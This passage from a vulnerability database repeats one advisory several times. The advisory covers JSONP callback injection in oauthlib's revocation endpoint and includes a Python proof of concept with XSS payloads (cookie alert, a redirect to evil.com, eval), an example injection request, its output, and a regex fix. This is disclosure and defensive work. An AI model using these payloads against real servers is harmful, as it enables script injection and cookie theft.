with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-prowler-CVE-2026-49264",
"modified": "2026-10-14T09:49:46Z",
"published": "2026-09-30T20:14:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-ROCKCRAFT-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 18:56 – Updated: 2026-10-14 08:57 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "rockcraft",
"purl": "pkg:brew/rockcraft"
},
"ranges": [
{
"events": [
{
"introduced": "1.16.0"
},
{
"fixed": "1.20.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-rockcraft-CVE-2026-49264",
"modified": "2026-10-14T08:57:46Z",
"published": "2026-09-30T18:56:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-S3QL-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-10-13 09:13 – Updated: 2026-10-14 09:40 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
